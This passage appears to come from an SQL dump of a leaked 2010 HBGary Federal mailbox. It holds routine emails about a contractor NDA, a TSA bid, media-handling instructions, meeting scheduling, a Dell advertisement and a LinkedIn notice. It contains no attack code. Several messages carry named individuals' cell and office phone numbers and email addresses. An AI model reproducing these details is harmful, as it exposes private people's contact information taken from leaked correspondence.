&lt;aaron@hbgary.com&gt;Cc: William Luti &lt;wluti@digitalmanagement.com&gt;\r\nSubject: NDA with DMIAaron-Thanks again for the time today...very impressive story, and even more impressive story-teller!  Bill and I look forward to working with you on this TSA opp, and of course other opps.  I&#39;ve got customers at DOT, Treasury, OMB, GSA, and HHS that we can setup meetings for over the next few weeks in the short term.\r\nAttached is the NDA.  I can get the TA out tomorrow later in the day (have to physically hunt down signatures on our end).Please reach out to Bill or I if you have any questions on this doc.\r\nThanks,-JohnJohn FanguyVPDigital Management, Inc.&quot;Leading Government Transformation&quot;\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell\r\n240-223-4800 main&lt;DMI NDA - v5(jf).docx&gt;\r\n',15588,'aaron_hbgary_com/15588.html'),(8838,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006736.M348001P14101Q3693.eml','\"Ted Vera\" <ted@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: NDA with DMI','They also said they want to buy a training course (discounted) 15k.Sent from my iPadBegin forwarded message:From: John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\nTo: &quot;aaron@hbgary.com&quot; &lt;aaron@hbgary.com&gt;Cc: William Luti &lt;wluti@digitalmanagement.com&gt;\r\nSubject: NDA with DMIAaron-Thanks again for the time today...very impressive story, and even more impressive story-teller!  Bill and I look forward to working with you on this TSA opp, and of course other opps.  I&#39;ve got customers at DOT, Treasury, OMB, GSA, and HHS that we can setup meetings for over the next few weeks in the short term.\r\nAttached is the NDA.  I can get the TA out tomorrow later in the day (have to physically hunt down signatures on our end).Please reach out to Bill or I if you have any questions on this doc.\r\nThanks,-JohnJohn FanguyVPDigital Management, Inc.&quot;Leading Government Transformation&quot;\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS--------------------------------------------------6701 Democracy Blvd, Suite 500Bethesda, Maryland 20817301-346-6749 cell\r\n240-223-4800 main&lt;DMI NDA - v5(jf).docx&gt;\r\n',14112,'aaron_hbgary_com/14112.html'),(8839,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006736.M582891P14101Q3694.eml','\"Eric Eifert\" <eric.eifert@mantech.com>,\"Eric Eifert\" <eric.eifert@mantech.com>','TSA','Eric,\r\n\r\nAre you guys tracking the upcoming TSA services contract?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n',14318,'aaron_hbgary_com/14318.html'),(8840,'2010-07-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006736.M845290P14101Q3695.eml','all@hbgary.com','PLEASE READ','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe are getting good press on our\r\nreleases, please refer all media to karen\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karen@hbgary.com] \r\nSent: Monday, July 19, 2010 10:57 AM\r\nTo: Penny Leavy; Greg Hoglund\r\nSubject: New Tool Release\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAs\r\nwe continue to get press on the new tool to be released at Black Hat, we may\r\nget reporters trying to contact HBGary staff to get more details. If you\r\nhaven\'t already, please ask HBGary employees to forward any media requests (for\r\nthis tool or anything else) to me. They should not provide details themselves. \r\n\r\n\r\n\r\n\r\n\r\n\r\n',6787,'aaron_hbgary_com/6787.html'),(8841,'2010-07-20','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006737.M303852P14101Q3697.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: (Shhh, Private e-mail event) $399 off select Dell desktops and more.','Begin forwarded message:From: Dell Small Business &lt;Dell_Small_Business@emalserve.net&gt;Date: July 19, 2010 6:43:58 PM MDTTo: Ted Vera &lt;tedvera@mac.com&gt;Subject: (Shhh, Private e-mail event) $399 off select Dell desktops and more.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\nDell private e-mail savings event – exclusive savings for Dell Small Business subscribers.\r\n\r\n Mobile users, click here.  To view online version, click here.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  Welcome to Dell\'s Private E-mail Savings Event, where there\'s no mystery to what great deals we \r\nhave in store for your business! Enjoy exclusive savings on select Dell™ desktops, notebooks, servers, \r\n software and accessories. Hurry, these offers are available for a limited time only, so start saving \r\n today. \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSave $399 on select Dell OptiPlex™ desktops and Dell Precision™ workstations priced $1299 or more with coupon. Enter coupon code at checkout to apply discount.\r\n\r\n \r\n\r\n\r\n  Coupon* code: 5MPX3XP$B80CD3\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\nSave 32% off select Dell Latitude™ E6410 and Latitude E6510 laptops priced $999 or more. Excludes all FastTrack systems. Enter coupon code at checkout to apply\r\n discount.\r\n\r\n\r\n  Coupon* code: S0MDD$X6N8FFSQ \r\n \r\n\r\n \r\n\r\n\r\n  Save 30% on any Dell PowerEdge™ server over $599 with coupon. \r\n\r\n  Enter coupon code at checkout\r\n to apply discount.\r\n\r\n\r\n\r\n\r\n  Coupon* code: MFT8GZ2W1D3804\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n  Offer expires 07/21/2010\r\n\r\n\r\n  Offer expires 07/21/2010\r\n\r\n\r\nOffer expires 07/21/2010\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Coupon* code: 664TZ7M9$2$446\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n  &nbsp;Offer expires 07/21/2010  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n&nbsp;&nbsp;• Manage and view IT assets from one online portal.\r\n\r\n  &nbsp;&nbsp;• Track in real-time lost notebooks using GPS or Wi-Fi technology.\r\n\r\n  &nbsp;&nbsp;• Remotely freeze notebooks or delete data on missing systems.\r\n\r\n  &nbsp;&nbsp;• Deter theft and recover stolen notebooks.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n This e-mail is an advertisement or solicitation. For more information, please see our Privacy Policy. Dell is located at One Dell Way, Round Rock, TX 78682.\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n  *Important Details\r\n\r\n\r\n  Pricing and Availability:\r\n\r\n  Offers subject to change, may not be combinable with other offers. Taxes, shipping, handling and other fees extra and not subject to discount. U.S. Dell Small Business new purchases only. LIMIT: 5 DISCOUNTED OR PROMOTIONAL ITEMS PER CUSTOMER. Dell reserves the right to cancel orders arising from pricing or other errors. \r\n\r\n\r\n  *$399 off Dell OptiPlex Desktops and Dell Precision Workstations Coupon Information: \r\n\r\n  One coupon per customer, One time use only. Non-transferable. Offers not combinable with other offers discounts and coupons. Limit of 5 promotional items per customer. Excludes all FastTrack systems, OptiPlex 980 and Precision M4500, M6500.\r\n\r\n\r\n  *32% off Dell Latitude E6410 and Latitude E6510 Laptops Coupon Information: \r\n\r\n  One coupon per customer, One time use only. Non-transferable. Offers not combinable with other offers discounts and coupons. Limit of 5 promotional items per customer. Excludes all FastTrack Systems.\r\n\r\n\r\n  *Save 30% on Any Dell PowerEdge Server Coupon Information:\r\n\r\n  One coupon per customer. One time use only. Non-transferable. Offers not combinable with other offers, discounts or coupons. Limit of 1 promotional items per customer.\r\n\r\n\r\n  *Save 15% on Car &amp; Vehicle GPS, Unlocked Smartphones, Dell Printers and Select Dell Monitors Coupon Information: \r\n\r\n  One coupon per customer. One time use only. Non-transferable. Offers not combinable with other offers, discounts or coupons. Limit of 1 promotional items per customer. Includes all Car &amp; Vehicle GPS, Unlocked Smartphones, Dell Printers and Select Dell Monitors. Excludes the following Dell Monitors: 3008WFP(223-4890), U2311H(320-9271), P2211H(320-9509), and 2209WA(320-7825) and all other categories. \r\n\r\n \r\n\r\n  Trademark Information:\r\n\r\n  Intel, the Intel logo, Intel Inside, Intel Core, and Core Inside, Intel Xeon and Xeon Inside are trademarks of Intel Corporation in the U.S. and other countries. Microsoft, Windows and the Windows logo are either registered trademarks or trademarks of Microsoft Corporation in the United States and/or other countries. \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_______________________________________________________\r\nYou are on the 1105 Media Email List.\r\nTo take your email address off of this list for future messages from advertisers, \r\nas well as notify this advertiser that you no longer wish to receive its messages,  please follow this link:\r\n\r\nhttp://emalserve.net/o/?ZXD=77.135310257.135310257&amp;ZXU=1244327\r\n1105 Media is not responsible for the products or services presented in this message.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14991,'aaron_hbgary_com/14991.html'),(8842,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006737.M639723P14101Q3698.eml','\"Barr Aaron\" <aaron@hbgary.com>','Re: HBGary follow up','Tomorrow?On Jul 19, 2010, at 3:53 PM, &quot;Brian Coulson&quot; &lt;bcoulson@digitalglobe.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nHi! My apologies for just now getting back to you! I have been\r\nunavailable until now.\r\n\r\n \r\n\r\nI’m fairly open this week and next. Please let me know a good\r\ntime that we can get together.\r\n\r\n \r\n\r\nThank you!\r\n\r\n \r\n\r\nSincerely,\r\n\r\nBrian Coulson\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, July 14, 2010 3:18 PM\r\nTo: Brian Coulson\r\nCc: Barr Aaron; Maria Lucas\r\nSubject: Re: HBGary follow up\r\n\r\n\r\n\r\n \r\n\r\nHi Brian,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSorry I haven&#39;t reached out to you yet, I forwarded your\r\ninformation along to Aaron Barr (cc&#39;d) who developed our social media training.\r\n Perhaps we could schedule a telecon between the three of us to discuss\r\nyour needs?  Are you available this Friday at 1pm Eastern time?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Jul 14, 2010 at 3:12 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\nHi Brian\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nChecking in to see if you need help with your evaluation,\r\nand to confirm if you heard from Ted about the training?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\nThis electronic communication and any attachments may contain confidential and proprietary \r\ninformation of DigitalGlobe, Inc. If you are not the intended recipient, or an agent or employee \r\nresponsible for delivering this communication to the intended recipient, or if you have received \r\nthis communication in error, please do not print, copy, retransmit, disseminate or \r\notherwise use the information. Please indicate to the sender that you have received this \r\ncommunication in error, and delete the copy you received. DigitalGlobe reserves the \r\nright to monitor any electronic communication sent or received by its employees, agents \r\nor representatives.\r\n\r\n\r\n\r\n\r\n',3317,'aaron_hbgary_com/3317.html'),(8843,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006737.M885390P14101Q3699.eml','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','Re: Lunch?  Beer?','Hi jeff. &nbsp;I live in McLean and have meetings in herndon in morning and chantilly in afternoon. &nbsp;My wed is pretty open but head on fily vacation Thursday for a week.AaronSent from my iPhoneOn Jul 19, 2010, at 4:04 PM, Jeff Castelli &lt;JeffCastelli@phaseone.net&gt; wrote:\r\n\r\n\r\n\r\nSure.&nbsp; 1200 works well for me if we can do it around here\r\nsomewhere (Tysons Corner).&nbsp; Do you live in VA? If so, breakfast on the way to\r\nwork might work better…………………….Otherwise, Friday is much better for me for\r\nlunch.\r\n\r\n&nbsp;\r\n\r\nJeff\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nVP, Director Washington Operations\r\n\r\nPhaseOne Communications\r\n\r\n&nbsp;\r\n\r\nemail:&nbsp; jeffcastelli@phaseone.net\r\n\r\nOffice:&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6816\r\n\r\nFax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6819\r\n\r\nCell:&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413\r\n\r\n&nbsp;\r\n\r\nThis email is confidential and intended solely for the use of\r\nthe individual or organization to whom it is addressed. &nbsp;If you are not\r\nthe intended recipient of this email, you should not copy, modify, distribute,\r\nor take any action in reliance on it. &nbsp;If you have received this email in\r\nerror, please notify the sender and delete this email from your system.\r\n&nbsp;Although this email has been checked for viruses and other defects, no\r\nresponsibility can be accepted for any loss or damage arising from its receipt\r\nor use.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 3:08 PM\r\nTo: Jeff Castelli\r\nSubject: Re: Lunch? Beer?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Jeff,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo you have some time tomorrow for lunch?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 16, 2010, at 12:04 PM, Jeff Castelli wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nI really enjoyed meeting you last night.&nbsp; It was a very entertaining\r\nevening.&nbsp; As I mentioned, there is something I’d like to discuss with you\r\nthat may be a potential area of collaboration.&nbsp; Would love to sit down and\r\ndiscuss further.&nbsp; I was supposed to be in LA next week but that got pushed\r\nback a week so I should be around.&nbsp; Wednesday is probably not a good day\r\nbut otherwise I can adapt.&nbsp; Take care and I look forward to seeing you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJeff\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVP,\r\nDirector Washington Operations\r\n\r\n\r\n\r\n\r\n\r\nPhaseOne\r\nCommunications\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nemail:&nbsp;&nbsp;jeffcastelli@phaseone.net\r\n\r\n\r\n\r\n\r\n\r\nOffice:&nbsp;&nbsp;&nbsp;&nbsp;\r\n571-830-6816\r\n\r\n\r\n\r\n\r\n\r\nFax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n571-830-6819\r\n\r\n\r\n\r\n\r\n\r\nCell:&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis\r\nemail is confidential and intended solely for the use of the individual or\r\norganization to whom it is addressed. &nbsp;If you are not the intended\r\nrecipient of this email, you should not copy, modify, distribute, or take any\r\naction in reliance on it. &nbsp;If you have received this email in error,\r\nplease notify the sender and delete this email from your system. &nbsp;Although\r\nthis email has been checked for viruses and other defects, no responsibility\r\ncan be accepted for any loss or damage arising from its receipt or use.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4810,'aaron_hbgary_com/4810.html'),(8844,'2010-07-20','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297006737.M91976P14101Q3696.eml','\"Aaron Barr\" <aaron@hbgary.com>','Michael VanPutte has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Michael are now connected.\r\n\r\n \r\n   \r\n   View Michael\'s profile to:\r\n     \r\n       Download Michael\'s current contact information\r\n       Write a recommendation for Michael\r\n       Find opportunities through Michael\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/-nennfn-gbu0k8s2-5m/fpf/16883953/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',14888,'aaron_hbgary_com/14888.html'),(8845,'2010-07-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006738.M155381P14101Q3700.eml','\"Ted Vera\" <ted@hbgary.com>','Re: HBGary follow up','Sure. &nbsp;2pm?Sent from my iPhoneOn Jul 19, 2010, at 10:27 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:Tomorrow?On Jul 19, 2010, at 3:53 PM, \"Brian Coulson\" &lt;bcoulson@digitalglobe.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n&nbsp;\r\n\r\nHi! My apologies for just now getting back to you! I have been\r\nunavailable until now.\r\n\r\n&nbsp;\r\n\r\nI’m fairly open this week and next. Please let me know a good\r\ntime that we can get together.\r\n\r\n&nbsp;\r\n\r\nThank you!\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\nBrian Coulson\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, July 14, 2010 3:18 PM\r\nTo: Brian Coulson\r\nCc: Barr Aaron; Maria Lucas\r\nSubject: Re: HBGary follow up\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Brian,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSorry I haven\'t reached out to you yet, I forwarded your\r\ninformation along to Aaron Barr (cc\'d) who developed our social media training.\r\n&nbsp;Perhaps we could schedule a telecon between the three of us to discuss\r\nyour needs? &nbsp;Are you available this Friday at 1pm Eastern time?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Jul 14, 2010 at 3:12 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\nHi Brian\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChecking in to see if you need help with your evaluation,\r\nand to confirm if you heard from Ted about the training?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\nThis electronic communication and any attachments may contain confidential and proprietary \r\ninformation of DigitalGlobe, Inc. If you are not the intended recipient, or an agent or employee \r\nresponsible for delivering this communication to the intended recipient, or if you have received \r\nthis communication in error, please do not print, copy, retransmit, disseminate or \r\notherwise use the information. Please indicate to the sender that you have received this \r\ncommunication in error, and delete the copy you received. DigitalGlobe reserves the \r\nright to monitor any electronic communication sent or received by its employees, agents \r\nor representatives.\r\n\r\n\r\n\r\n\r\n',12888,'aaron_hbgary_com/12888.html'),(8846,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006738.M364360P14101Q3701.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary follow up','Yep (12 my time?)On Jul 19, 2010, at 8:39 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSure.  2pm?Sent from my iPhoneOn Jul 19, 2010, at 10:27 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nTomorrow?On Jul 19, 2010, at 3:53 PM, &quot;Brian Coulson&quot; &lt;bcoulson@digitalglobe.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nHi! My apologies for just now getting back to you! I have been\r\nunavailable until now.\r\n\r\n \r\n\r\nI’m fairly open this week and next. Please let me know a good\r\ntime that we can get together.\r\n\r\n \r\n\r\nThank you!\r\n\r\n \r\n\r\nSincerely,\r\n\r\nBrian Coulson\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, July 14, 2010 3:18 PM\r\nTo: Brian Coulson\r\nCc: Barr Aaron; Maria Lucas\r\nSubject: Re: HBGary follow up\r\n\r\n\r\n\r\n \r\n\r\nHi Brian,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSorry I haven&#39;t reached out to you yet, I forwarded your\r\ninformation along to Aaron Barr (cc&#39;d) who developed our social media training.\r\n Perhaps we could schedule a telecon between the three of us to discuss\r\nyour needs?  Are you available this Friday at 1pm Eastern time?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Jul 14, 2010 at 3:12 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\nHi Brian\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nChecking in to see if you need help with your evaluation,\r\nand to confirm if you heard from Ted about the training?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\nThis electronic communication and any attachments may contain confidential and proprietary \r\ninformation of DigitalGlobe, Inc. If you are not the intended recipient, or an agent or employee \r\nresponsible for delivering this communication to the intended recipient, or if you have received \r\nthis communication in error, please do not print, copy, retransmit, disseminate or \r\notherwise use the information. Please indicate to the sender that you have received this \r\ncommunication in error, and delete the copy you received. DigitalGlobe reserves the \r\nright to monitor any electronic communication sent or received by its employees, agents \r\nor representatives.\r\n\r\n\r\n\r\n\r\n\r\n',3156,'aaron_hbgary_com/3156.html'),(8847,'2010-07-20','\"Jeff Castelli\" <JeffCastelli@phaseone.net>','/aaron@hbgary.com/new/1297006738.M589598P14101Q3702.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Lunch?  Beer?','Bkfst at Silver Diner Reston? 8am?\r\nVP, Director Washington Operations\r\n\r\nPhaseOne Communications\r\n\r\nemail:  jeffcastelli@phaseone.net\r\n\r\nOffice:  571-830-6816\r\n\r\n                571-830-6817\r\n\r\nFax:        571-830-6819\r\n\r\nCell:       310 612 6413\r\n\r\n \r\n\r\nThis email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Jeff Castelli\r\nSent: Mon Jul 19 19:39:14 2010\nSubject: Re: Lunch?  Beer?\r\n\r\nHi jeff.  I live in McLean and have meetings in herndon in morning and chantilly in afternoon.  My wed is pretty open but head on fily vacation Thursday for a week.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 19, 2010, at 4:04 PM, Jeff Castelli  wrote:\r\n\r\n\r\n\r\n	Sure.  1200 works well for me if we can do it around here somewhere (Tysons Corner).  Do you live in VA? If so, breakfast on the way to work might work better…………………….Otherwise, Friday is much better for me for lunch.\r\n\r\n	 \r\n\r\n	Jeff\r\n\r\n	 \r\n\r\n	 \r\n\r\n	 \r\n\r\n	VP, Director Washington Operations\r\n\r\n	PhaseOne Communications\r\n\r\n	 \r\n\r\n	email:   jeffcastelli@phaseone.net\r\n\r\n	Office:     571-830-6816\r\n\r\n	Fax:        571-830-6819\r\n\r\n	Cell:       310 612 6413\r\n\r\n	 \r\n\r\n	This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.\r\n\r\n	 \r\n\r\n	 \r\n\r\n	From: Aaron Barr [mailto:aaron@hbgary.com] \r\n	Sent: Monday, July 19, 2010 3:08 PM\r\n	To: Jeff Castelli\r\n	Subject: Re: Lunch? Beer?\r\n\r\n	 \r\n\r\n	Hi Jeff,\r\n\r\n	 \r\n\r\n	Do you have some time tomorrow for lunch?\r\n\r\n	 \r\n\r\n	Aaron\r\n\r\n	 \r\n\r\n	On Jul 16, 2010, at 12:04 PM, Jeff Castelli wrote:\r\n\r\n	\r\n	\r\n	\r\n\r\n	Aaron, I really enjoyed meeting you last night.  It was a very entertaining evening.  As I mentioned, there is something I’d like to discuss with you that may be a potential area of collaboration.  Would love to sit down and discuss further.  I was supposed to be in LA next week but that got pushed back a week so I should be around.  Wednesday is probably not a good day but otherwise I can adapt.  Take care and I look forward to seeing you.\r\n\r\n	 \r\n\r\n	Jeff\r\n\r\n	 \r\n\r\n	 \r\n\r\n	VP, Director Washington Operations\r\n\r\n	PhaseOne Communications\r\n\r\n	 \r\n\r\n	email:    jeffcastelli@phaseone.net\r\n\r\n	Office:     571-830-6816\r\n\r\n	Fax:        571-830-6819\r\n\r\n	Cell:       310 612 6413\r\n\r\n	 \r\n\r\n	This email is confidential and intended solely for the use of the individual or organization to whom it is addressed.  If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it.  If you have received this email in error, please notify the sender and delete this email from your system.  Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.\r\n\r\n	 \r\n\r\n	 \r\n\r\n	 \r\n\r\n	Aaron Barr\r\n\r\n	CEO\r\n\r\n	HBGary Federal Inc.\r\n\r\n	 \r\n\r\n',15259,'aaron_hbgary_com/15259.html'),(8848,'2010-07-20','\"Aaron Barr\" 